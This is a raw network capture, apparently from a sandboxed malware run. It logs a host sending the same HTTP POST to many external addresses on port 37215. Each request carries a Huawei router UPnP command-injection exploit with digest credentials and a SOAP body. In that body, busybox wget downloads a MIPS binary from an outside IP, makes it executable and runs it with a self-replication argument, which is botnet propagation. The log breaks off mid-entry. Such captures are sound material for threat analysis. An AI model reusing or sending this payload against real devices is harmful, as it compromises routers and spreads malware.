2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	37640	157.171.167.12	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021109104 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	45338	41.44.46.164	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021140099 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	56172	41.255.114.202	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021163940 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	50462	157.161.52.19	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021200895 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	37320	197.204.98.25	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021251917 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	38068	37.50.200.38	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021251917 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	54950	157.230.111.60	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021307945 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	33654	110.202.3.118	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021321058 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	53836	157.231.4.197	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021337986 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	54336	197.70.102.93	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021393061 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	50040	41.186.86.221	37215

Timestamp	Bytes transferred	Direction	Data
